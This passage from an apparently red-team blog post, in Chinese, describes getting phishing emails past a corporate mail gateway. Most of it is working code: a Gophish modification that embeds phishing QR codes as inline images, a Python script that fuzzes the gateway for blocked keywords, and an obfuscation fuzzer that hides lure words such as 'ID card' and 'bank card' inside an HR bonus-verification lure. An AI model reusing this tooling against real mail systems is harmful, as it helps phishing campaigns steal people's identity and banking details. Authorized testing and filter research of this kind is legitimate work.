&lt;li&gt;&lt;strong&gt;绕过桌面安全&lt;/strong&gt; - 用户用手机扫描，手机浏览器安全警告较弱&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绕过过滤器&lt;/strong&gt; - QR码是图片，不包含文本链接&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;实现过程（参考EvilGophish）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/template_context.go

type PhishingTemplateContext struct {
    From        string
    URL         string
    QRBase64    string  //  新增：QR码Base64
    QRName      string  //  新增：QR码CID名称  
    QR          string  //  新增：QR码HTML
    BaseRecipient
}

func NewPhishingTemplateContext(ctx TemplateContext, r BaseRecipient, rid string) (PhishingTemplateContext, error) {
    // ... 前置代码 ...
    
    // 生成QR码
    qrSize := ctx.getQRSize()
    if qrSize != &quot;&quot; {
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = &quot;&amp;#x3C;img src=\&quot;cid:&quot; + qrName + &quot;\&quot;&gt;&quot;
    }
    
    return PhishingTemplateContext{
        QR: qr,  // 模板中使用 {{.QR}}
    }, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;邮件中使用&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;p&gt;请扫描下方二维码登录：&amp;#x3C;/p&gt;
{{.QR}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成的邮件结构：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;multipart/related
  ├─ multipart/alternative
  │   ├─ text/plain
  │   └─ text/html (&amp;#x3C;img src=&quot;cid:427968.png&quot;&gt;)
  └─ image/png (CID: 427968.png，Base64编码QR码)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;CID嵌入 vs 远程加载对比&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;方案1：CID内嵌（我们采用）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 邮件HTML --&gt;
&amp;#x3C;img src=&quot;cid:427968.png&quot;&gt;

&amp;#x3C;!-- 邮件结构 --&gt;
Content-Type: multipart/related
  ├─ text/html
  └─ image/png
     Content-ID: &amp;#x3C;427968.png&gt;
     Content-Transfer-Encoding: base64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方案2：远程加载（不推荐）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 邮件HTML --&gt;
&amp;#x3C;img src=&quot;http://your-server.com/qrcode.png?id=xxx&quot;&gt;

&amp;#x3C;!-- 邮件结构 --&gt;
Content-Type: text/html
（图片存储在服务器，需HTTP加载）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138623-edbd87.mTazOF8t.png&amp;#x26;w=659&amp;#x26;h=127&amp;#x26;f=webp&quot; alt=&quot;图片623-edbd8777-c790-4528-a9e0-2bd7c6b3e463&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对比分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;| 特性 | CID内嵌 | 远程加载 | 优势方 |
| --- | --- | --- | --- |
| &lt;strong&gt;避免&quot;显示图片&quot;提示&lt;/strong&gt; | ✅ 直接显示 | ❌ 需用户点击 | CID |
| &lt;strong&gt;隐藏服务器地址&lt;/strong&gt; | ✅ 无URL | ❌ 暴露域名 | CID |
| &lt;strong&gt;加载速度&lt;/strong&gt; | ✅ 即时显示 | ❌ 依赖网络 | CID |
| &lt;strong&gt;提升可信度&lt;/strong&gt; | ✅ 图片完整 | ❌ 可能显示占位符 | CID |
| &lt;strong&gt;邮件网关检测&lt;/strong&gt; | ✅ 仅检测Base64 | ❌ 检测外部URL | CID |
| &lt;strong&gt;追踪能力&lt;/strong&gt; | ❌ 无法追踪打开 | ✅ 可追踪加载 | 远程 |
| &lt;strong&gt;邮件大小&lt;/strong&gt; | ❌ 较大（含图片） | ✅ 较小 | 远程 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键优势解析&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;避免邮件客户端安全机制&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Gmail/Outlook默认行为：
- 远程图片：显示&quot;点击显示图片&quot;横幅 
- CID图片：直接渲染，无需用户操作
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;隐藏钓鱼服务器地址&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 远程加载：暴露服务器 --&gt;
&amp;#x3C;img src=&quot;http://phishing-server.com/qr.png&quot;&gt;
↓
邮件网关可直接扫描 phishing-server.com

&amp;#x3C;!-- CID嵌入：无URL暴露 --&gt;
&amp;#x3C;img src=&quot;cid:427968.png&quot;&gt;
↓
邮件网关只能看到Base64编码的PNG数据
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;提升邮件真实性&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;远程图片&lt;/strong&gt;：收件人需要主动点击&quot;显示图片&quot;，增加怀疑&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CID图片&lt;/strong&gt;：邮件打开即完整显示，符合正常企业邮件习惯。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x03 困境：FUZZ机制&lt;/h2&gt;
&lt;h3&gt;3.1 新的拦截机制&lt;/h3&gt;
&lt;p&gt;其实做到上面的的工作，大部分情况下可以操作了，但是我仍然处于被拦截的情况，因为是黑盒测试，我无法收到邮件的反馈，只能按语义检测进行尝试绕过了：&lt;/p&gt;
&lt;h4&gt;邮件网关的语义检测机制&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌─────────────────────────────────┐
│   入站邮件                      │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   基础验证层                    │
│   • SPF/DKIM/DMARC              │
│   • IP信誉检查                  │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   特征检测层（已绕过）         │
│   • 邮件头指纹                  │
│   • 已知钓鱼域名                │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│  语义分析层（可能是当前拦截点）   │
│   • NLP关键词检测               │
│   • 钓鱼模式匹配                │
│   • 上下文异常分析              │
└─────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;拦截案例分析&lt;/h4&gt;
&lt;p&gt;我被拦截的邮件样本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;主题: 【重要】员工门户系统升级通知

尊敬的员工:

您好！为了提升系统安全性，IT部门将于本周末对员工门户进行升级。

请点击以下链接验证您的账户信息:
https://portal-verify.test/api/v1/status?id=xxx

如有疑问，请联系IT支持部门。

此致
IT部门
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;拦截原因分析&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;具有引导性词汇&lt;/strong&gt;: &quot;重要&quot;、&quot;升级&quot;、&quot;验证&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行动引导&lt;/strong&gt;: &quot;请点击&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;案例模板&lt;/strong&gt;: &quot;验证账户信息&quot;是经典钓鱼话术&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.2 心路历程&lt;/h3&gt;
&lt;p&gt;此时我陷入了困境：如果单纯的是关键字检测，这个模板是客户定的，一时半会重改不太现实，等于说是模板改不了的情况下要如何实现发送。&lt;/p&gt;
&lt;p&gt;我不知道邮件网关的确切检测规则，纯粹靠猜测和试错。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;拦截原因猜测&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 检测层 | 触发点 | 详情 |
| --- | --- | --- |
| &lt;strong&gt;邮件头检测&lt;/strong&gt; | 通过 | X-Mailer、Subject编码正常 |
| &lt;strong&gt;纯文本检测&lt;/strong&gt; | 通过 | text/plain部分无敏感词 |
| &lt;strong&gt;HTML内容检测&lt;/strong&gt; | 拦截 | 检测到明文&quot;年终奖金&quot;、&quot;身份证&quot;、&quot;银行卡&quot; |
| &lt;strong&gt;URL检测&lt;/strong&gt; | 拦截 | 路径包含&quot;verify&quot;、&quot;status&quot; |
| &lt;strong&gt;行为模式&lt;/strong&gt; | 拦截 | &quot;点击链接&quot;+&quot;验证信息&quot;模式 |&lt;/p&gt;
&lt;p&gt;啥也不清楚，就此开蒙。&lt;/p&gt;
&lt;h3&gt;3.3 单变量Fuzz：定位拦截触发点&lt;/h3&gt;
&lt;p&gt;在知道邮件被拦截后，我需要精确定位&lt;strong&gt;到底是什么触发了189网关的拦截&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;单变量测试方法&lt;/h4&gt;
&lt;p&gt;基于smtp_block_tester.py脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 单变量Fuzz测试脚本
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import time

def send_fuzz_test(subject, body, test_name):
    &quot;&quot;&quot;发送单变量测试邮件&quot;&quot;&quot;
    msg = MIMEMultipart()
    msg[&apos;From&apos;] = &apos;hr@phishing-domain.com&apos;
    msg[&apos;To&apos;] = &apos;target@189.cn&apos;
    msg[&apos;Subject&apos;] = subject
    msg.attach(MIMEText(body, &apos;html&apos;, &apos;utf-8&apos;))
    
    try:
        server = smtplib.SMTP_SSL(&apos;smtp.zoho.com&apos;, 465)
        server.login(&apos;hr@phishing-domain.com&apos;, &apos;password&apos;)
        server.send_message(msg)
        server.quit()
        print(f&quot;[✓] {test_name}: 发送成功 - 等待检查收件箱&quot;)
        return &quot;SUCCESS&quot;
    except smtplib.SMTPDataError as e:
        print(f&quot;[✗] {test_name}: 被拦截 - {e.smtp_code}&quot;)
        return &quot;BLOCKED&quot;

# 关键：单变量测试用例
fuzz_tests = [
    # 测试0：基线（纯安全内容）
    {
        &quot;name&quot;: &quot;基线-纯文本&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;这是一封普通的会议通知，请确认收到。&quot;
    },
    
    # 测试1：添加超链接（不含敏感路径）
    {
        &quot;name&quot;: &quot;添加安全超链接&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请点击这里：&amp;#x3C;a href=&apos;http://example.com&apos;&gt;点击这里&amp;#x3C;/a&gt;&quot;
    },
    
    # 测试2：添加&quot;年终奖&quot;关键词（无链接）
    {
        &quot;name&quot;: &quot;添加年终奖关键词&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请点击查看您的2025年终奖明细。&quot;
    },
    
    # 测试3：添加&quot;身份证/银行卡&quot;关键词
    {
        &quot;name&quot;: &quot;添加身份证银行卡&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请核对您的银行卡号和身份证信息是否正确。&quot;
    },
    
    # 测试4：组合测试（关键词+链接）
    {
        &quot;name&quot;: &quot;关键词+链接组合&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请点击查看您的年终奖：&amp;#x3C;a href=&apos;http://example.com&apos;&gt;点击这里&amp;#x3C;/a&gt;&quot;
    },
    
    # 测试5：主题含敏感词
    {
        &quot;name&quot;: &quot;主题含年终奖&quot;,
        &quot;subject&quot;: &quot;2025年终奖发放通知&quot;,
        &quot;body&quot;: &quot;这是一封普通的会议通知，请确认收到。&quot;
    }
]

# 执行测试
for test in fuzz_tests:
    print(f&quot;\n[*] 正在测试: {test[&apos;name&apos;]}&quot;)
    result = send_fuzz_test(test[&apos;subject&apos;], test[&apos;body&apos;], test[&apos;name&apos;])
    
    if result == &quot;BLOCKED&quot;:
        print(f&quot;\n!!! 发现拦截触发点: {test[&apos;name&apos;]}&quot;)
        print(f&quot;    Subject: {test[&apos;subject&apos;]}&quot;)
        print(f&quot;    Body: {test[&apos;body&apos;][:50]}...&quot;)
        break
    
    time.sleep(5)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果&lt;strong&gt;分析;&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[测试0] 基线-纯文本
Subject: 测试会议通知
Body: 这是一封普通的会议通知
Result: ✅ 成功投递

[测试1] 添加安全超链接
Subject: 测试会议通知  
Body: 请点击这里：&amp;#x3C;a href=&apos;http://example.com&apos;&gt;点击这里&amp;#x3C;/a&gt;
Result: ✅ 成功投递

[测试2] 添加年终奖关键词
Subject: 测试会议通知
Body: 请点击查看您的2025年终奖明细。
Result: ❌ 被拦截 (554错误码)

[测试3] 添加身份证银行卡
Subject: 测试会议通知
Body: 请核对您的银行卡号和身份证信息
Result: ❌ 被拦截 (554错误码)

[测试5] 主题含年终奖
Subject: 2025年终奖发放通知
Body: 这是一封普通的会议通知
Result: ❌ 被拦截 (554错误码)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;关键发现&lt;/h4&gt;
&lt;p&gt;通过单变量Fuzz测试，定位了189网关的拦截规则：&lt;/p&gt;
&lt;p&gt;| 测试变量 | 是否拦截 | 结论 |
| --- | --- | --- |
| &lt;strong&gt;纯文本&lt;/strong&gt; | 否 | 基线通过 |
| &lt;strong&gt;普通超链接&lt;/strong&gt; | 否 | 链接本身不触发拦截 |
| &lt;strong&gt;&quot;年终奖&quot;&lt;/strong&gt; | &lt;strong&gt;是&lt;/strong&gt; | 敏感词触发点1 |
| &lt;strong&gt;&quot;身份证/银行卡&quot;&lt;/strong&gt; | &lt;strong&gt;是&lt;/strong&gt; | 敏感词触发点2 |
| &lt;strong&gt;主题含&quot;年终奖&quot;&lt;/strong&gt; | &lt;strong&gt;是&lt;/strong&gt; | 主题也会被检测 |
| &lt;strong&gt;&quot;请点击&quot;&lt;/strong&gt; | 否 | 单独不触发 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心结论&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;关键词检测优先级最高：无论在主题还是正文，&quot;年终奖&quot;、&quot;身份证&quot;、&quot;银行卡&quot;都会立即触发拦截&lt;/li&gt;
&lt;li&gt;超链接本身安全：普通HTTP链接不会触发拦截&lt;/li&gt;
&lt;li&gt;组合拦截机制：虽然&quot;请点击&quot;单独不触发，但&quot;请点击链接+敏感词&quot;会提升拦截优先级&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;下一步策略&lt;/h4&gt;
&lt;p&gt;既然定位到了明文关键词检测是核心拦截点，接下来可以做的是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;保留整体邮件结构（Multipart、链接等）&lt;/li&gt;
&lt;li&gt;重点混淆敏感关键词（&quot;年终奖&quot;、&quot;身份证&quot;、&quot;银行卡&quot;）&lt;/li&gt;
&lt;li&gt;测试HTML混淆技术能否绕过189网关的关键词检测&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这就引出了我的核心绕过方案：HTML混淆Fuzz &lt;strong&gt;。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x04 突破：基于HTML混淆的Fuzz绕过&lt;/h2&gt;
&lt;h3&gt;4.1 困境分析与新思路&lt;/h3&gt;
&lt;p&gt;在语义层面被拦截后，我陷入了思考：&lt;/p&gt;
&lt;p&gt;邮件网关如果检测的是明文内容，有可能还会对HTML进行检测，因为Gophish就支持HTML布局。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;既然语义敏感词无法避免，能否通过HTML混淆让网关看不懂？&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.2 HTML混淆Fuzz框架&lt;/h3&gt;
&lt;p&gt;这是一套渐进式HTML混淆测试系统：&lt;/p&gt;
&lt;h4&gt;核心思路&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;明文敏感内容（100%拦截）
    ↓
应用HTML混淆技术（逐个测试）
    ↓
实时监控投递率变化
    ↓
定位有效的混淆组合
    ↓
形成通用混淆模板
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;HTML混淆武器库&lt;/h4&gt;
&lt;p&gt;基于WAF绕过经验，我准备了以下混淆技术：&lt;/p&gt;
&lt;p&gt;| 混淆技术 | 原理 | 示例 |
| --- | --- | --- |
| &lt;strong&gt;HTML实体编码&lt;/strong&gt; | 将敏感字符转为Unicode实体 | &lt;code&gt;年终奖&lt;/code&gt; → &lt;code&gt;&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&lt;/code&gt; |
| &lt;strong&gt;CSS文字反转&lt;/strong&gt; | 用CSS reverse文字顺序 | &lt;code&gt;年终奖&lt;/code&gt; → &lt;code&gt;&amp;#x3C;span class=&quot;r&quot;&gt;奖终年&amp;#x3C;/span&gt;&lt;/code&gt; |
| &lt;strong&gt;HTML注释截断&lt;/strong&gt; | 在敏感词中插入注释 | &lt;code&gt;验证&lt;/code&gt; → &lt;code&gt;验&amp;#x3C;!-- x --&gt;证&lt;/code&gt; |
| &lt;strong&gt;零宽字符插入&lt;/strong&gt; | 插入不可见字符分割 | &lt;code&gt;身份证&lt;/code&gt; → &lt;code&gt;身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证&lt;/code&gt; |
| &lt;strong&gt;字体大小0隐藏&lt;/strong&gt; | 通过CSS隐藏干扰字符 | &lt;code&gt;银行卡&lt;/code&gt; → &lt;code&gt;银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡&lt;/code&gt; |&lt;/p&gt;
&lt;h4&gt;自动化Fuzz测试工具&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# html_obfuscation_fuzzer.py

import smtplib
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import base64

class HTMLObfuscationFuzzer:
    &quot;&quot;&quot;HTML混淆模糊测试工具&quot;&quot;&quot;
    
    def __init__(self, smtp_config, test_receiver):
        self.smtp_config = smtp_config
        self.receiver = test_receiver
        
        # 敏感关键词列表（基于初步测试识别）
        self.sensitive_keywords = [
            &quot;年终奖&quot;, &quot;奖金&quot;, &quot;验证&quot;, &quot;确认&quot;, 
            &quot;身份证&quot;, &quot;银行卡&quot;, &quot;点击&quot;, &quot;登录&quot;
        ]
        
        # 混淆技术库
        self.obfuscation_methods = {
            &apos;html_entity&apos;: self._html_entity_encode,
            &apos;css_reverse&apos;: self._css_reverse,
            &apos;html_comment&apos;: self._html_comment_break,
            &apos;zero_width&apos;: self._zero_width_insert,
            &apos;font_zero&apos;: self._font_size_zero,
        }
        
        self.results = []
    
    def _html_entity_encode(self, text):
        &quot;&quot;&quot;HTML实体编码&quot;&quot;&quot;
        return &apos;&apos;.join([f&apos;&amp;#x26;#{ord(c):x};&apos; for c in text])
    
    def _css_reverse(self, text):
        &quot;&quot;&quot;CSS文字反转&quot;&quot;&quot;
        reversed_text = text[::-1]
        return f&apos;&amp;#x3C;span style=&quot;unicode-bidi: bidi-override; direction: rtl;&quot;&gt;{reversed_text}&amp;#x3C;/span&gt;&apos;
    
    def _html_comment_break(self, text):
        &quot;&quot;&quot;HTML注释截断&quot;&quot;&quot;
        # 在中间插入注释
        mid = len(text) // 2
        return f&apos;{text[:mid]}&amp;#x3C;!-- - --&gt;{text[mid:]}&apos;
    
    def _zero_width_insert(self, text):
        &quot;&quot;&quot;零宽字符插入&quot;&quot;&quot;
        mid = len(text) // 2
        return f&apos;{text[:mid]}&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;{text[mid:]}&apos;
    
    def _font_size_zero(self, text):
        &quot;&quot;&quot;字体大小0隐藏&quot;&quot;&quot;
        mid = len(text) // 2
        return f&apos;{text[:mid]}&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;{text[mid:]}&apos;
    
    def create_multipart_email(self, html_content, subject):
        &quot;&quot;&quot;创建multipart/alternative邮件（HTML+纯文本）&quot;&quot;&quot;
        msg = MIMEMultipart(&apos;alternative&apos;)
        msg[&apos;From&apos;] = self.smtp_config[&apos;from&apos;]
        msg[&apos;To&apos;] = self.receiver
        msg[&apos;Subject&apos;] = subject
        
        # 纯文本版本（降低拦截率）
        plain_text = &quot;&quot;&quot;
这是一封HTML格式邮件。
如果您看到此文本，说明您的邮件客户端不支持HTML格式。
请使用支持HTML的邮件客户端查看完整内容。
&quot;&quot;&quot;
        msg.attach(MIMEText(plain_text, &apos;plain&apos;, &apos;utf-8&apos;))
        
        # HTML版本（包含混淆）
        msg.attach(MIMEText(html_content, &apos;html&apos;, &apos;utf-8&apos;))
        
        return msg
    
    def send_test_email(self, html_content, subject, test_id):
        &quot;&quot;&quot;发送测试邮件&quot;&quot;&quot;
        msg = self.create_multipart_email(html_content, subject)
        
        try:
            if self.smtp_config[&apos;use_ssl&apos;]:
                server = smtplib.SMTP_SSL(self.smtp_config[&apos;host&apos;], self.smtp_config[&apos;port&apos;])
            else:
                server = smtplib.SMTP(self.smtp_config[&apos;host&apos;], self.smtp_config[&apos;port&apos;])
                if self.smtp_config.get(&apos;use_tls&apos;):
                    server.starttls()
            
            server.login(self.smtp_config[&apos;user&apos;], self.smtp_config[&apos;password&apos;])
            server.send_message(msg)
            server.quit()
            
            print(f&quot;[{test_id}] 发送成功, 等待检查投递状态...&quot;)
            return True
            
        except Exception as e:
            print(f&quot;[{test_id}] 发送失败: {e}&quot;)
            return False
    
    def check_delivery(self, wait_time=30):
        &quot;&quot;&quot;
        检查邮件投递状态
        实际实现：
        1. 等待一定时间后检查收件箱
        2. 也可通过嵌入追踪像素检测
        3. 或检查SMTP退信
        &quot;&quot;&quot;
        time.sleep(wait_time)
        # 简化版：需要人工确认或API轮询
        response = input(&quot;    是否成功投递到收件箱? (y/n): &quot;).strip().lower()
        return response == &apos;y&apos;
    
    def fuzz_single_keyword(self, keyword, base_html_template):
        &quot;&quot;&quot;单关键词Fuzz测试&quot;&quot;&quot;
        print(f&quot;\n{&apos;=&apos;*60}&quot;)
        print(f&quot;Fuzz测试: {keyword}&quot;)
        print(&apos;=&apos;*60)
        
        # 测试1：明文基线
        print(f&quot;\n[Test 0] 基线测试（明文）&quot;)
        plain_html = base_html_template.format(keyword=keyword)
        self.send_test_email(plain_html, f&quot;测试-{keyword}-明文&quot;, &quot;T0&quot;)
        delivered = self.check_delivery()
        
        result = {
            &apos;keyword&apos;: keyword,
            &apos;method&apos;: &apos;plaintext&apos;,
            &apos;delivered&apos;: delivered
        }
        self.results.append(result)
        print(f&quot;    结果: {&apos;✓ 投递&apos; if delivered else &apos;✗ 拦截&apos;}\n&quot;)
        
        # 如果baseline就被拦截，测试各种混淆
        if not delivered:
            for method_name, method_func in self.obfuscation_methods.items():
                obfuscated = method_func(keyword)
                test_html = base_html_template.format(keyword=obfuscated)
                
                test_id = f&quot;{keyword[:2]}-{method_name}&quot;
                print(f&quot;[Test] 混淆方法: {method_name}&quot;)
                print(f&quot;    原: {keyword}&quot;)
                print(f&quot;    混: {obfuscated}&quot;)
                
                self.send_test_email(test_html, f&quot;测试-{keyword}-{method_name}&quot;, test_id)
                delivered = self.check_delivery()
                
                result = {
                    &apos;keyword&apos;: keyword,
                    &apos;method&apos;: method_name,
                    &apos;obfuscated&apos;: obfuscated,
                    &apos;delivered&apos;: delivered
                }
                self.results.append(result)
                print(f&quot;    结果: {&apos;✓ 投递&apos; if delivered else &apos;✗ 拦截&apos;}\n&quot;)
                
                time.sleep(3)  # 避免速率限制
    
    def fuzz_combination(self):
        &quot;&quot;&quot;组合混淆测试&quot;&quot;&quot;
        print(f&quot;\n{&apos;=&apos;*60}&quot;)
        print(&quot;组合混淆测试&quot;)
        print(&apos;=&apos;*60)
        
        # 构造包含多个敏感词的邮件
        combined_template = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;style&gt;
        .rtl {{ unicode-bidi: bidi-override; direction: rtl; }}
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;h2&gt;关于启动2025年度{bonus}发放信息最终核对的通知&amp;#x3C;/h2&gt;
    &amp;#x3C;p&gt;各位同事，您好：&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;现正式启动{bonus}发放信息最终核对工作！&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;请{action}以下链接：&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;&amp;#x3C;a href=&quot;http://example.com&quot;&gt;核对系统&amp;#x3C;/a&gt;&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;请核对您的{id_card}和{bank_card}信息。&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;人力资源部&amp;#x3C;br&gt;2025年12月28日&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
        
        # 测试不同混淆组合
        test_cases = [
            {
                &apos;name&apos;: &apos;全部明文&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: &apos;年终奖金&apos;,
                    &apos;action&apos;: &apos;点击&apos;,
                    &apos;id_card&apos;: &apos;身份证&apos;,
                    &apos;bank_card&apos;: &apos;银行卡&apos;
                }
            },
            {
                &apos;name&apos;: &apos;关键词HTML实体编码&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: self._html_entity_encode(&apos;年终奖金&apos;),
                    &apos;action&apos;: &apos;点击&apos;,
                    &apos;id_card&apos;: self._html_entity_encode(&apos;身份证&apos;),
                    &apos;bank_card&apos;: self._html_entity_encode(&apos;银行卡&apos;)
                }
            },
            {
                &apos;name&apos;: &apos;关键词CSS反转&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: self._css_reverse(&apos;年终奖金&apos;),
                    &apos;action&apos;: &apos;查看&apos;,
                    &apos;id_card&apos;: self._css_reverse(&apos;身份证&apos;),
                    &apos;bank_card&apos;: self._css_reverse(&apos;银行卡&apos;)
                }
            },
            {
                &apos;name&apos;: &apos;混合混淆&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: self._html_entity_encode(&apos;年终奖金&apos;),
                    &apos;action&apos;: &apos;查&amp;#x3C;!-- x --&gt;看&apos;,
                    &apos;id_card&apos;: &apos;身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证&apos;,
                    &apos;bank_card&apos;: &apos;银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡&apos;
                }
            }
        ]
        
        for i, test_case in enumerate(test_cases):
            print(f&quot;\n[Combo {i+1}] {test_case[&apos;name&apos;]}&quot;)
            html = combined_template.format(**test_case[&apos;params&apos;])
            
            self.send_test_email(html, f&quot;组合测试-{test_case[&apos;name&apos;]}&quot;, f&quot;C{i}&quot;)
            delivered = self.check_delivery()
            
            result = {
                &apos;test_name&apos;: test_case[&apos;name&apos;],
                &apos;delivered&apos;: delivered
            }
            self.results.append(result)
            print(f&quot;    结果: {&apos;✓ 投递&apos; if delivered else &apos;✗ 拦截&apos;}\n&quot;)
            
            time.sleep(5)
    
    def analyze_results(self):
        &quot;&quot;&quot;分析测试结果&quot;&quot;&quot;
        print(f&quot;\n{&apos;=&apos;*60}&quot;)
        print(&quot;测试结果分析&quot;)
        print(&apos;=&apos;*60)
        
        total = len(self.results)
        delivered = sum(1 for r in self.results if r[&apos;delivered&apos;])
        blocked = total - delivered
        
        print(f&quot;\n总测试数: {total}&quot;)
        print(f&quot;成功投递: {delivered} ({delivered/total*100:.1f}%)&quot;)
        print(f&quot;被拦截: {blocked} ({blocked/total*100:.1f}%)\n&quot;)
        
        # 找出有效的混淆方法
        effective_methods = {}
        for result in self.results:
            if result.get(&apos;method&apos;) and result[&apos;delivered&apos;]:
                keyword = result[&apos;keyword&apos;]
                method = result[&apos;method&apos;]
                if keyword not in effective_methods:
                    effective_methods[keyword] = []
                effective_methods[keyword].append(method)
        
        if effective_methods:
            print(&quot;✓ 有效的混淆方法:&quot;)
            for keyword, methods in effective_methods.items():
                print(f&quot;  {keyword}: {&apos;, &apos;.join(methods)}&quot;)
        else:
            print(&quot;✗ 未发现有效的混淆方法&quot;)
        
        return self.results

# 使用示例
if __name__ == &quot;__main__&quot;:
    smtp_config = {
        &apos;host&apos;: &apos;smtp.example.com&apos;,
        &apos;port&apos;: 465,
        &apos;use_ssl&apos;: True,
        &apos;use_tls&apos;: False,
        &apos;user&apos;: &apos;redteam@example.com&apos;,
        &apos;password&apos;: &apos;YOUR_PASSWORD&apos;,
        &apos;from&apos;: &apos;redteam@example.com&apos;
    }
    
